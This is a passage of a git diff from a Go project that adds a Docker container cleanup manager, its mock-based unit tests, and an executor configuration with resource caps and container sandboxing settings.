"max_age", maxAge.String()) + + var lastErr error + for _, containerID := range staleContainers { + if err := cm.CleanupContainer(ctx, containerID, true); err != nil { + lastErr = err + } + } + + return lastErr +} + +// CleanupAll removes all tracked containers +func (cm *CleanupManager) CleanupAll(ctx context.Context) error { + cm.mu.RLock() + var allContainers []string + for containerID := range cm.containers { + allContainers = append(allContainers, containerID) + } + cm.mu.RUnlock() + + if len(allContainers) == 0 { + return nil + } + + cm.logger.Info("cleaning up all containers", "count", len(allContainers)) + + var lastErr error + for _, containerID := range allContainers { + if err := cm.CleanupContainer(ctx, containerID, true); err != nil { + lastErr = err + } + } + + return lastErr +} + +// GetContainerInfo returns information about a tracked container +func (cm *CleanupManager) GetContainerInfo(containerID string) (*ContainerInfo, bool) { + cm.mu.RLock() + defer cm.mu.RUnlock() + + info, exists := cm.containers[containerID] + if !exists { + return nil, false + } + + // Return a copy to avoid data races + infoCopy := *info + return &infoCopy, true +} + +// GetTrackedContainers returns all currently tracked containers +func (cm *CleanupManager) GetTrackedContainers() []*ContainerInfo { + cm.mu.RLock() + defer cm.mu.RUnlock() + + containers := make([]*ContainerInfo, 0, len(cm.containers)) + for _, info := range cm.containers { + // Add copy to avoid data races + infoCopy := *info + containers = append(containers, &infoCopy) + } + + return containers +} + +// GetStats returns cleanup manager statistics +func (cm *CleanupManager) GetStats() CleanupStats { + cm.mu.RLock() + defer cm.mu.RUnlock() + + stats := CleanupStats{ + TotalTracked: len(cm.containers), + } + + for _, info := range cm.containers { + switch info.Status { + case "created": + stats.Created++ + case "running": + stats.Running++ + case "completed": + stats.Completed++ + case "failed": + stats.Failed++ + case "stopped": + stats.Stopped++ + } + } + + return stats +} + +// CleanupStats contains statistics about tracked containers +type CleanupStats struct { + TotalTracked int `json:"total_tracked"` + Created int `json:"created"` + Running int `json:"running"` + Completed int `json:"completed"` + Failed int `json:"failed"` + Stopped int `json:"stopped"` +} + +// startPeriodicCleanup starts a background goroutine for periodic cleanup +func (cm *CleanupManager) startPeriodicCleanup() { + go func() { + ticker := time.NewTicker(5 * time.Minute) // Cleanup every 5 minutes + defer ticker.Stop() + + for range ticker.C { + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Minute) + + // Cleanup containers older than 1 hour + if err := cm.CleanupStaleContainers(ctx, 1*time.Hour); err != nil { + cm.logger.Error("periodic stale container cleanup failed", "error", err) + } + + cancel() + } + }() + + cm.logger.Info("started periodic cleanup background task") +} + +// Stop stops the cleanup manager and cleans up all resources +func (cm *CleanupManager) Stop(ctx context.Context) error { + cm.logger.Info("stopping cleanup manager") + + // Cleanup all remaining containers + if err := cm.CleanupAll(ctx); err != nil { + cm.logger.Error("failed to cleanup all containers during shutdown", "error", err) + return err + } + + cm.logger.Info("cleanup manager stopped successfully") + return nil +} + +// ForceCleanupOrphanedContainers finds and removes VoidRunner containers that aren't tracked +func (cm *CleanupManager) ForceCleanupOrphanedContainers(ctx context.Context) error { + cm.logger.Info("starting orphaned container cleanup") + + // List all containers + containers, err := cm.client.ListContainers(ctx, true) + if err != nil { + return fmt.Errorf("failed to list containers: %w", err) + } + + var orphanedContainers []string + for _, container := range containers { + // Check if this is a VoidRunner container + for _, name := range container.Names { + if len(name) > 0 && name[0] == '/' { + name = name[1:] // Remove leading slash + } + + if len(name) > 10 && name[:10] == "voidrunner" { + // Check if we're tracking this container + cm.mu.RLock() + _, tracked := cm.containers[container.ID] + cm.mu.RUnlock() + + if !tracked { + orphanedContainers = append(orphanedContainers, container.ID) + } + break + } + } + } + + if len(orphanedContainers) == 0 { + cm.logger.Debug("no orphaned containers found") + return nil + } + + cm.logger.Info("found orphaned containers", "count", len(orphanedContainers)) + + var lastErr error + for _, containerID := range orphanedContainers { + if err := cm.CleanupContainer(ctx, containerID, true); err != nil { + lastErr = err + cm.logger.Error("failed to cleanup orphaned container", + "container_id", cm.safeContainerID(containerID), + "error", err) + } + } + + return lastErr +} diff --git a/internal/executor/cleanup_test.go b/internal/executor/cleanup_test.go new file mode 100644 index 0000000..b98a506 --- /dev/null +++ b/internal/executor/cleanup_test.go @@ -0,0 +1,524 @@ +package executor + +import ( + "context" + "errors" + "testing" + "time" + + "github.com/google/uuid" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/mock" + "github.com/stretchr/testify/require" +) + +// MockContainerClientForCleanup extends the mock for cleanup-specific methods +type MockContainerClientForCleanup struct { + MockContainerClient +} + +func (m *MockContainerClientForCleanup) ListContainers(ctx context.Context, all bool) ([]ContainerSummary, error) { + args := m.Called(ctx, all) + return args.Get(0).([]ContainerSummary), args.Error(1) +} + +func (m *MockContainerClientForCleanup) GetDockerInfo(ctx context.Context) (interface{}, error) { + args := m.Called(ctx) + return args.Get(0), args.Error(1) +} + +func (m *MockContainerClientForCleanup) GetDockerVersion(ctx context.Context) (interface{}, error) { + args := m.Called(ctx) + return args.Get(0), args.Error(1) +} + +func (m *MockContainerClientForCleanup) GetContainerInfo(ctx context.Context, containerID string) (interface{}, error) { + args := m.Called(ctx, containerID) + return args.Get(0), args.Error(1) +} + +func (m *MockContainerClientForCleanup) PullImage(ctx context.Context, imageName string) error { + args := m.Called(ctx, imageName) + return args.Error(0) +} + +func TestNewCleanupManager(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + + cm := NewCleanupManager(mockClient, nil) + + assert.NotNil(t, cm) + assert.NotNil(t, cm.client) + assert.NotNil(t, cm.logger) + assert.NotNil(t, cm.containers) + assert.Equal(t, 0, len(cm.containers)) +} + +func TestCleanupManager_RegisterContainer(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + cm := NewCleanupManager(mockClient, nil) + + taskID := uuid.New() + executionID := uuid.New() + containerID := "container1234567890111123456789012" + image := "alpine:latest" + + // Register container + err := cm.RegisterContainer(containerID, taskID, executionID, image) + require.NoError(t, err) + + // Verify container was registered + assert.Equal(t, 1, len(cm.containers)) + + info, exists := cm.GetContainerInfo(containerID) + require.True(t, exists) + assert.Equal(t, containerID, info.ID) + assert.Equal(t, taskID, info.TaskID) + assert.Equal(t, executionID, info.ExecutionID) + assert.Equal(t, image, info.Image) + assert.Equal(t, "created", info.Status) + assert.NotZero(t, info.CreatedAt) + assert.Nil(t, info.StartedAt) +} + +func TestCleanupManager_MarkContainerStarted(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + cm := NewCleanupManager(mockClient, nil) + + taskID := uuid.New() + executionID := uuid.New() + containerID := "container1234567890111123456789012" + image := "alpine:latest" + + // Register and start container + require.NoError(t, cm.RegisterContainer(containerID, taskID, executionID, image)) + cm.MarkContainerStarted(containerID) + + // Verify container status was updated + info, exists := cm.GetContainerInfo(containerID) + require.True(t, exists) + assert.Equal(t, "running", info.Status) + assert.NotNil(t, info.StartedAt) +} + +func TestCleanupManager_MarkContainerCompleted(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + cm := NewCleanupManager(mockClient, nil) + + taskID := uuid.New() + executionID := uuid.New() + containerID := "container1234567890111123456789012" + image := "alpine:latest" + + // Register and complete container + require.NoError(t, cm.RegisterContainer(containerID, taskID, executionID, image)) + cm.MarkContainerCompleted(containerID, "completed") + + // Verify container status was updated + info, exists := cm.GetContainerInfo(containerID) + require.True(t, exists) + assert.Equal(t, "completed", info.Status) +} + +func TestCleanupManager_UnregisterContainer(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + cm := NewCleanupManager(mockClient, nil) + + taskID := uuid.New() + executionID := uuid.New() + containerID := "container1234567890111123456789012" + image := "alpine:latest" + + // Register and unregister container + require.NoError(t, cm.RegisterContainer(containerID, taskID, executionID, image)) + assert.Equal(t, 1, len(cm.containers)) + + cm.UnregisterContainer(containerID) + assert.Equal(t, 0, len(cm.containers)) + + _, exists := cm.GetContainerInfo(containerID) + assert.False(t, exists) +} + +func TestCleanupManager_CleanupContainer(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + cm := NewCleanupManager(mockClient, nil) + + taskID := uuid.New() + executionID := uuid.New() + containerID := "container1234567890111123456789012" + image := "alpine:latest" + + // Register container + err := cm.RegisterContainer(containerID, taskID, executionID, image) + require.NoError(t, err) + + tests := []struct { + name string + force bool + mockSetup func() + expectErr bool + }{ + { + name: "Successful graceful cleanup", + force: false, + mockSetup: func() { + mockClient.On("StopContainer", mock.Anything, containerID, 5*time.Second).Return(nil) + mockClient.On("RemoveContainer", mock.Anything, containerID, false).Return(nil) + }, + expectErr: false, + }, + { + name: "Successful forced cleanup", + force: true, + mockSetup: func() { + mockClient.On("RemoveContainer", mock.Anything, containerID, true).Return(nil) + }, + expectErr: false, + }, + { + name: "Stop fails, force cleanup", + force: false, + mockSetup: func() { + mockClient.On("StopContainer", mock.Anything, containerID, 5*time.Second).Return(errors.New("stop failed")) + mockClient.On("RemoveContainer", mock.Anything, containerID, true).Return(nil) + }, + expectErr: false, + }, + { + name: "Remove fails", + force: false, + mockSetup: func() { + mockClient.On("StopContainer", mock.Anything, containerID, 5*time.Second).Return(nil) + mockClient.On("RemoveContainer", mock.Anything, containerID, false).Return(errors.New("remove failed")) + }, + expectErr: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + // Reset mock for each test + mockClient.ExpectedCalls = nil + tt.mockSetup() + + err := cm.CleanupContainer(context.Background(), containerID, tt.force) + + if tt.expectErr { + assert.Error(t, err) + } else { + assert.NoError(t, err) + } + + mockClient.AssertExpectations(t) + }) + } +} + +func TestCleanupManager_CleanupExecution(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + cm := NewCleanupManager(mockClient, nil) + + taskID1 := uuid.New() + taskID2 := uuid.New() + executionID1 := uuid.New() + executionID2 := uuid.New() + + // Register containers for different executions + require.NoError(t, cm.RegisterContainer("container12345678901111234567890124567890", taskID1, executionID1, "alpine:latest")) + require.NoError(t, cm.RegisterContainer("container123456789022", taskID1, executionID1, "alpine:latest")) + require.NoError(t, cm.RegisterContainer("container123456789033", taskID2, executionID2, "alpine:latest")) + + // Mock cleanup calls for containers belonging to executionID1 (force=true, no StopContainer calls) + mockClient.On("RemoveContainer", mock.Anything, "container12345678901111234567890124567890", true).Return(nil) + mockClient.On("RemoveContainer", mock.Anything, "container123456789022", true).Return(nil) + + // Cleanup execution1 + err := cm.CleanupExecution(context.Background(), executionID1) + assert.NoError(t, err) + + // Verify only container123456789033 remains + assert.Equal(t, 1, len(cm.containers)) + _, exists := cm.GetContainerInfo("container123456789033") + assert.True(t, exists) + + mockClient.AssertExpectations(t) +} + +func TestCleanupManager_CleanupTask(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + cm := NewCleanupManager(mockClient, nil) + + taskID1 := uuid.New() + taskID2 := uuid.New() + executionID1 := uuid.New() + executionID2 := uuid.New() + + // Register containers for different tasks + require.NoError(t, cm.RegisterContainer("container12345678901111", taskID1, executionID1, "alpine:latest")) + require.NoError(t, cm.RegisterContainer("container2", taskID1, executionID2, "alpine:latest")) + require.NoError(t, cm.RegisterContainer("container3", taskID2, executionID1, "alpine:latest")) + + // Mock cleanup calls for containers belonging to taskID1 (force=true, no StopContainer calls) + mockClient.On("RemoveContainer", mock.Anything, "container12345678901111", true).Return(nil) + mockClient.On("RemoveContainer", mock.Anything, "container2", true).Return(nil) + + // Cleanup task1 + err := cm.CleanupTask(context.Background(), taskID1) + assert.NoError(t, err) + + // Verify only container3 remains + assert.Equal(t, 1, len(cm.containers)) + _, exists := cm.GetContainerInfo("container3") + assert.True(t, exists) + + mockClient.AssertExpectations(t) +} + +func TestCleanupManager_CleanupStaleContainers(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + cm := NewCleanupManager(mockClient, nil) + + taskID := uuid.New() + executionID := uuid.New() + + // Register containers with different ages + require.NoError(t, cm.RegisterContainer("new-container123456789", taskID, executionID, "alpine:latest")) + require.NoError(t, cm.RegisterContainer("old-container123456789", taskID, executionID, "alpine:latest")) + + // Manually set created time for old container + cm.mu.Lock() + cm.containers["old-container123456789"].CreatedAt = time.Now().Add(-2 * time.Hour) + cm.mu.Unlock() + + // Mock cleanup for old container only (force=true, no StopContainer calls) + mockClient.On("RemoveContainer", mock.Anything, "old-container123456789", true).Return(nil) + + // Cleanup stale containers (older than 1 hour) + err := cm.CleanupStaleContainers(context.Background(), 1*time.Hour) + assert.NoError(t, err) + + // Verify only new container remains + assert.Equal(t, 1, len(cm.containers)) + _, exists := cm.GetContainerInfo("new-container123456789") + assert.True(t, exists) + _, exists = cm.GetContainerInfo("old-container123456789") + assert.False(t, exists) + + mockClient.AssertExpectations(t) +} + +func TestCleanupManager_CleanupAll(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + cm := NewCleanupManager(mockClient, nil) + + taskID := uuid.New() + executionID := uuid.New() + + // Register multiple containers + require.NoError(t, cm.RegisterContainer("container12345678901111", taskID, executionID, "alpine:latest")) + require.NoError(t, cm.RegisterContainer("container2", taskID, executionID, "alpine:latest")) + + // Mock cleanup calls for all containers (force=true, no StopContainer calls) + mockClient.On("RemoveContainer", mock.Anything, "container12345678901111", true).Return(nil) + mockClient.On("RemoveContainer", mock.Anything, "container2", true).Return(nil) + + // Cleanup all containers + err := cm.CleanupAll(context.Background()) + assert.NoError(t, err) + + // Verify all containers are removed + assert.Equal(t, 0, len(cm.containers)) + + mockClient.AssertExpectations(t) +} + +func TestCleanupManager_GetTrackedContainers(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + cm := NewCleanupManager(mockClient, nil) + + taskID := uuid.New() + executionID := uuid.New() + + // Register containers + require.NoError(t, cm.RegisterContainer("container12345678901111", taskID, executionID, "alpine:latest")) + require.NoError(t, cm.RegisterContainer("container2", taskID, executionID, "python:3.9")) + + // Get tracked containers + containers := cm.GetTrackedContainers() + + assert.Equal(t, 2, len(containers)) + + // Verify container data is copied (not referenced) + for _, container := range containers { + assert.NotNil(t, container) + assert.True(t, container.ID == "container12345678901111" || container.ID == "container2") + } +} + +func TestCleanupManager_GetStats(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + cm := NewCleanupManager(mockClient, nil) + + taskID := uuid.New() + executionID := uuid.New() + + // Register containers with different statuses + require.NoError(t, cm.RegisterContainer("created-container123456789", taskID, executionID, "alpine:latest")) + require.NoError(t, cm.RegisterContainer("running-container123456789", taskID, executionID, "alpine:latest")) + require.NoError(t, cm.RegisterContainer("completed-container123456789", taskID, executionID, "alpine:latest")) + require.NoError(t, cm.RegisterContainer("failed-container123456789", taskID, executionID, "alpine:latest")) + + // Set different statuses + cm.MarkContainerStarted("running-container123456789") + cm.MarkContainerCompleted("completed-container123456789", "completed") + cm.MarkContainerCompleted("failed-container123456789", "failed") + + // Get stats + stats := cm.GetStats() + + assert.Equal(t, 4, stats.TotalTracked) + assert.Equal(t, 1, stats.Created) + assert.Equal(t, 1, stats.Running) + assert.Equal(t, 1, stats.Completed) + assert.Equal(t, 1, stats.Failed) + assert.Equal(t, 0, stats.Stopped) +} + +func TestCleanupManager_Stop(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + cm := NewCleanupManager(mockClient, nil) + + taskID := uuid.New() + executionID := uuid.New() + + // Register containers + require.NoError(t, cm.RegisterContainer("container12345678901111", taskID, executionID, "alpine:latest")) + require.NoError(t, cm.RegisterContainer("container2", taskID, executionID, "alpine:latest")) + + // Mock cleanup calls for all containers (force=true, no StopContainer calls) + mockClient.On("RemoveContainer", mock.Anything, "container12345678901111", true).Return(nil) + mockClient.On("RemoveContainer", mock.Anything, "container2", true).Return(nil) + + // Stop cleanup manager + err := cm.Stop(context.Background()) + assert.NoError(t, err) + + // Verify all containers are cleaned up + assert.Equal(t, 0, len(cm.containers)) + + mockClient.AssertExpectations(t) +} + +func TestCleanupManager_ForceCleanupOrphanedContainers(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + cm := NewCleanupManager(mockClient, nil) + + // Register a tracked container + taskID := uuid.New() + executionID := uuid.New() + require.NoError(t, cm.RegisterContainer("tracked-container123456789", taskID, executionID, "alpine:latest")) + + // Mock ListContainers to return both tracked and orphaned containers + containerSummaries := []ContainerSummary{ + { + ID: "tracked-container123456789", + Names: []string{"/voidrunner-tracked"}, + Image: "alpine:latest", + }, + { + ID: "orphaned-container123456789", + Names: []string{"/voidrunner-orphaned"}, + Image: "alpine:latest", + }, + { + ID: "non-voidrunner-container", + Names: []string{"/other-container123456789"}, + Image: "alpine:latest", + }, + } + + mockClient.On("ListContainers", mock.Anything, true).Return(containerSummaries, nil) + + // Mock cleanup for orphaned container only (force=true, no StopContainer calls) + mockClient.On("RemoveContainer", mock.Anything, "orphaned-container123456789", true).Return(nil) + + // Force cleanup orphaned containers + err := cm.ForceCleanupOrphanedContainers(context.Background()) + assert.NoError(t, err) + + // Verify tracked container is still registered + assert.Equal(t, 1, len(cm.containers)) + _, exists := cm.GetContainerInfo("tracked-container123456789") + assert.True(t, exists) + + mockClient.AssertExpectations(t) +} + +func TestCleanupManager_ForceCleanupOrphanedContainers_ListError(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + cm := NewCleanupManager(mockClient, nil) + + // Mock ListContainers to return error + mockClient.On("ListContainers", mock.Anything, true).Return([]ContainerSummary{}, errors.New("list failed")) + + // Force cleanup orphaned containers + err := cm.ForceCleanupOrphanedContainers(context.Background()) + assert.Error(t, err) + assert.Contains(t, err.Error(), "failed to list containers") + + mockClient.AssertExpectations(t) +} + +func TestCleanupManager_ForceCleanupOrphanedContainers_NoOrphans(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + cm := NewCleanupManager(mockClient, nil) + + // Mock ListContainers to return no voidrunner containers + containerSummaries := []ContainerSummary{ + { + ID: "other-container123456789", + Names: []string{"/other-container123456789"}, + Image: "alpine:latest", + }, + } + + mockClient.On("ListContainers", mock.Anything, true).Return(containerSummaries, nil) + + // Force cleanup orphaned containers + err := cm.ForceCleanupOrphanedContainers(context.Background()) + assert.NoError(t, err) + + mockClient.AssertExpectations(t) +} + +func TestCleanupManager_EmptyOperations(t *testing.T) { + mockClient := new(MockContainerClientForCleanup) + cm := NewCleanupManager(mockClient, nil) + + // Test operations with no containers + err := cm.CleanupExecution(context.Background(), uuid.New()) + assert.NoError(t, err) + + err = cm.CleanupTask(context.Background(), uuid.New()) + assert.NoError(t, err) + + err = cm.CleanupStaleContainers(context.Background(), 1*time.Hour) + assert.NoError(t, err) + + err = cm.CleanupAll(context.Background()) + assert.NoError(t, err) + + // Verify stats for empty manager + stats := cm.GetStats() + assert.Equal(t, 0, stats.TotalTracked) + assert.Equal(t, 0, stats.Created) + assert.Equal(t, 0, stats.Running) + assert.Equal(t, 0, stats.Completed) + assert.Equal(t, 0, stats.Failed) + assert.Equal(t, 0, stats.Stopped) + + // Verify empty tracked containers + containers := cm.GetTrackedContainers() + assert.Equal(t, 0, len(containers)) +} diff --git a/internal/executor/config.go b/internal/executor/config.go new file mode 100644 index 0000000..70ed8f5 --- /dev/null +++ b/internal/executor/config.go @@ -0,0 +1,292 @@ +package executor + +import ( + "time" + + "github.com/voidrunnerhq/voidrunner/internal/models" +) + +// Config represents the configuration for the executor +type Config struct { + // Docker daemon endpoint + DockerEndpoint string + + // Default resource limits + DefaultResourceLimits ResourceLimits + + // Default execution timeout + DefaultTimeoutSeconds int + + // Container image configurations + Images ImageConfig + + // Security settings + Security SecuritySettings +} + +// ImageConfig defines container images for different script types +type ImageConfig struct { + // Python execution image + Python string + + // Bash execution image + Bash string + + // JavaScript execution image (for future use) + JavaScript string + + // Go execution image (for future use) + Go string +} + +// SecuritySettings defines security configuration +type SecuritySettings struct { + // Enable seccomp filtering + EnableSeccomp bool + + // Path to seccomp profile + SeccompProfilePath string + + // Enable AppArmor + EnableAppArmor bool + + // AppArmor profile name + AppArmorProfile string + + // Execution user (UID:GID) + ExecutionUser string + + // Allowed syscalls (for custom seccomp profiles) + AllowedSyscalls []string + + // Maximum allowed memory limit in bytes (safety cap) + MaxMemoryLimitBytes int64 + + // Maximum allowed CPU quota (safety cap) + MaxCPUQuota int64 + + // Maximum allowed PID limit (safety cap) + MaxPidsLimit int64 + + // Maximum allowed timeout in seconds (safety cap) + MaxTimeoutSeconds int +} + +// NewDefaultConfig returns a default configuration for the executor +func NewDefaultConfig() *Config { + return &Config{ + DockerEndpoint: "unix:///var/run/docker.sock", + DefaultResourceLimits: ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, // 128MB + CPUQuota: 50000, // 0.5 CPU cores + PidsLimit: 128, // Max 128 processes + TimeoutSeconds: 300, // 5 minutes + }, + DefaultTimeoutSeconds: 300, + Images: ImageConfig{ + Python: "python:3.11-alpine", + Bash: "alpine:latest", + JavaScript: "node:18-alpine", + Go: "golang:1.21-alpine", + }, + Security: SecuritySettings{ + EnableSeccomp: true, + SeccompProfilePath: "/opt/voidrunner/seccomp-profile.json", + EnableAppArmor: false, + AppArmorProfile: "voidrunner-executor", + ExecutionUser: "1000:1000", + // Security caps to prevent resource escalation beyond safe limits + MaxMemoryLimitBytes: 1024 * 1024 * 1024, // 1GB maximum + MaxCPUQuota: 200000, // 2.0 CPU cores maximum + MaxPidsLimit: 1000, // 1000 processes maximum + MaxTimeoutSeconds: 3600, // 1 hour maximum + AllowedSyscalls: []string{ + "read", "write", "open", "close", "stat", "fstat", "lstat", + "poll", "lseek", "mmap", "mprotect", "munmap", "brk", + "access", "pipe", "select", "dup", "dup2", "getpid", + "socket", "connect", "accept", "bind", "listen", "getsockname", + "getpeername", "socketpair", "setsockopt", "getsockopt", + "wait4", "kill", "uname", "fcntl", "flock", "fsync", + "getcwd", "chdir", "rename", "mkdir", "rmdir", "creat", + "unlink", "readlink", "chmod", "fchmod", "chown", "fchown", + "umask", "gettimeofday", "getrlimit", "getrusage", "sysinfo", + "times", "getuid", "getgid", "setuid", "setgid", "geteuid", + "getegid", "getppid", "getpgrp", "setsid", "setreuid", + "setregid", "getgroups", "setgroups", "setresuid", "getresuid", + "setresgid", "getresgid", "getpgid", "setpgid", "getsid", + "sethostname", "setrlimit", "getrlimit", "getrusage", "umask", + "prctl", "getcpu", "exit", "exit_group", + }, + }, + } +} + +// GetImageForScriptType returns the appropriate container image for the given script type +func (c *Config) GetImageForScriptType(scriptType models.ScriptType) string { + switch scriptType { + case models.ScriptTypePython: + return c.Images.Python + case models.ScriptTypeBash: + return c.Images.Bash + case models.ScriptTypeJavaScript: + return c.Images.JavaScript + case models.ScriptTypeGo: + return c.Images.Go + default: + return c.Images.Python // Default to Python + } +} + +// GetResourceLimitsForTask returns resource limits for a specific task +func (c *Config) GetResourceLimitsForTask(task *models.Task) ResourceLimits { + limits := c.DefaultResourceLimits + + // Use task-specific timeout if specified + if task.TimeoutSeconds > 0 { + limits.TimeoutSeconds = task.TimeoutSeconds + } + + // Apply priority-based resource scaling + switch task.Priority { + case 0, 1, 2: // Low priority + limits.MemoryLimitBytes = c.DefaultResourceLimits.MemoryLimitBytes / 2 + limits.CPUQuota = c.DefaultResourceLimits.CPUQuota / 2 + case 3, 4, 5: // Normal priority + // Use defaults + case 6, 7, 8: // High priority + limits.MemoryLimitBytes = c.DefaultResourceLimits.MemoryLimitBytes * 2 + limits.CPUQuota = c.DefaultResourceLimits.CPUQuota * 2 + case 9, 10: // Critical priority + limits.MemoryLimitBytes = c.DefaultResourceLimits.MemoryLimitBytes * 4 + limits.CPUQuota = c.DefaultResourceLimits.CPUQuota * 2 + } + + // Apply security caps to prevent resource escalation beyond safe limits + limits = c.applySecurityCaps(limits) + + return limits +} + +// applySecurityCaps enforces maximum resource limits for security +func (c *Config) applySecurityCaps(limits ResourceLimits) ResourceLimits { + // Cap memory limit + if limits.MemoryLimitBytes > c.Security.MaxMemoryLimitBytes { + limits.MemoryLimitBytes = c.Security.MaxMemoryLimitBytes + } + + // Cap CPU quota + if limits.CPUQuota > c.Security.MaxCPUQuota { + limits.CPUQuota = c.Security.MaxCPUQuota + } + + // Cap PID limit + if limits.PidsLimit > c.Security.MaxPidsLimit { + limits.PidsLimit = c.Security.MaxPidsLimit + } + + // Cap timeout + if limits.TimeoutSeconds > c.Security.MaxTimeoutSeconds { + limits.TimeoutSeconds = c.Security.MaxTimeoutSeconds + } + + return limits +} + +// GetSecurityConfigForTask returns security configuration for a specific task +func (c *Config) GetSecurityConfigForTask(task *models.Task) SecurityConfig { + securityOpts := []string{ + "no-new-privileges", + } + + if c.Security.EnableSeccomp { + securityOpts = append(securityOpts, "seccomp="+c.Security.SeccompProfilePath) + } + + if c.Security.EnableAppArmor { + securityOpts = append(securityOpts, "apparmor="+c.Security.AppArmorProfile) + } + + return SecurityConfig{ + User: c.Security.ExecutionUser, + NoNewPrivileges: true, + ReadOnlyRootfs: true, + NetworkDisabled: true, + SecurityOpts: securityOpts, + TmpfsMounts: map[string]string{ + "/tmp": "rw,noexec,nosuid,size=100m", + "/var/tmp": "rw,noexec,nosuid,size=10m", + }, + DropAllCapabilities: true, + } +} + +// GetTimeoutForTask returns the execution timeout for a specific task +func (c *Config) GetTimeoutForTask(task *models.Task) time.Duration { + if task.TimeoutSeconds > 0 { + return time.Duration(task.TimeoutSeconds) * time.Second + } + return time.Duration(c.DefaultTimeoutSeconds) * time.Second +} + +// Validate validates the executor configuration +func (c *Config) Validate() error { + if c.DefaultResourceLimits.MemoryLimitBytes <= 0 { + return ErrInvalidConfig("memory limit must be positive") + } + + if c.DefaultResourceLimits.CPUQuota <= 0 { + return ErrInvalidConfig("CPU quota must be positive") + } + + if c.DefaultResourceLimits.PidsLimit <= 0 { + return ErrInvalidConfig("PID limit must be positive") + } + + if c.DefaultTimeoutSeconds <= 0 { + return ErrInvalidConfig("timeout must be positive") + } + + if c.Images.Python == "" { + return ErrInvalidConfig("Python image must be specified") + } + + if c.Images.Bash == "" { + return ErrInvalidConfig("Bash image must be specified") + } + + // Validate security limits + if c.Security.MaxMemoryLimitBytes <= 0 { + return ErrInvalidConfig("maximum memory limit must be positive") + } + + if c.Security.MaxCPUQuota <= 0 { + return ErrInvalidConfig("maximum CPU quota must be positive") + } + + if c.Security.MaxPidsLimit <= 0 { + return ErrInvalidConfig("maximum PID limit must be positive") + } + + if c.Security.MaxTimeoutSeconds <= 0 { + return ErrInvalidConfig("maximum timeout must be positive") + } + + // Validate that default limits don't exceed security caps + if c.DefaultResourceLimits.MemoryLimitBytes > c.Security.MaxMemoryLimitBytes { + return ErrInvalidConfig("default memory limit exceeds security maximum") + } + + if c.DefaultResourceLimits.CPUQuota > c.Security.MaxCPUQuota { + return ErrInvalidConfig("default CPU quota exceeds security maximum") + } + + if c.DefaultResourceLimits.PidsLimit > c.Security.MaxPidsLimit { + return ErrInvalidConfig("default PID limit exceeds security maximum") + } + + if c.DefaultTimeoutSeconds > c.Security.MaxTimeoutSeconds { + return ErrInvalidConfig("default timeout exceeds security maximum") + } + + return nil +} diff --git a/internal/executor/config_test.go b/internal/executor/config_test.go new file mode 100644 index 0000000..67dc3cd --- /dev/null +++ b/internal/executor/config_test.go @@ -0,0 +1,316 @@ +package executor + +import ( + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "github.com/voidrunnerhq/voidrunner/internal/models" +) + +func TestNewDefaultConfig(t *testing.T) { + config := NewDefaultConfig() + + assert.NotNil(t, config) + assert.Equal(t, "unix:///var/run/docker.sock", config.DockerEndpoint) + assert.Equal(t, int64(128*1024*1024), config.DefaultResourceLimits.MemoryLimitBytes) + assert.Equal(t, int64(50000), config.DefaultResourceLimits.CPUQuota) + assert.Equal(t, int64(128), config.DefaultResourceLimits.PidsLimit) + assert.Equal(t, 300, config.DefaultTimeoutSeconds) + assert.Equal(t, "python:3.11-alpine", config.Images.Python) + assert.Equal(t, "alpine:latest", config.Images.Bash) + assert.True(t, config.Security.EnableSeccomp) + assert.Equal(t, "1000:1000", config.Security.ExecutionUser) +} + +func TestConfig_GetImageForScriptType(t *testing.T) { + config := NewDefaultConfig() + + tests := []struct { + name string + scriptType models.ScriptType + expected string + }{ + { + name: "Python script", + scriptType: models.ScriptTypePython, + expected: "python:3.11-alpine", + }, + { + name: "Bash script", + scriptType: models.ScriptTypeBash, + expected: "alpine:latest", + }, + { + name: "JavaScript script", + scriptType: models.ScriptTypeJavaScript, + expected: "node:18-alpine", + }, + { + name: "Go script", + scriptType: models.ScriptTypeGo, + expected: "golang:1.21-alpine", + }, + { + name: "Unknown script type", + scriptType: "unknown", + expected: "python:3.11-alpine", // Should default to Python + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := config.GetImageForScriptType(tt.scriptType) + assert.Equal(t, tt.expected, result) + }) + } +} + +func TestConfig_GetResourceLimitsForTask(t *testing.T) { + config := NewDefaultConfig() + + tests := []struct { + name string + task *models.Task + expectedMemory int64 + expectedCPU int64 + expectedTimeout int + }{ + { + name: "Low priority task", + task: &models.Task{ + Priority: 1, + TimeoutSeconds: 0, // Use default + }, + expectedMemory: 64 * 1024 * 1024, // Half of default + expectedCPU: 25000, // Half of default + expectedTimeout: 300, // Default + }, + { + name: "Normal priority task", + task: &models.Task{ + Priority: 5, + TimeoutSeconds: 600, + }, + expectedMemory: 128 * 1024 * 1024, // Default + expectedCPU: 50000, // Default + expectedTimeout: 600, // Custom + }, + { + name: "High priority task", + task: &models.Task{ + Priority: 8, + TimeoutSeconds: 0, + }, + expectedMemory: 256 * 1024 * 1024, // Double default + expectedCPU: 100000, // Double default + expectedTimeout: 300, // Default + }, + { + name: "Critical priority task", + task: &models.Task{ + Priority: 10, + TimeoutSeconds: 1800, + }, + expectedMemory: 512 * 1024 * 1024, // Quadruple default + expectedCPU: 100000, // Double default (capped) + expectedTimeout: 1800, // Custom + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + limits := config.GetResourceLimitsForTask(tt.task) + 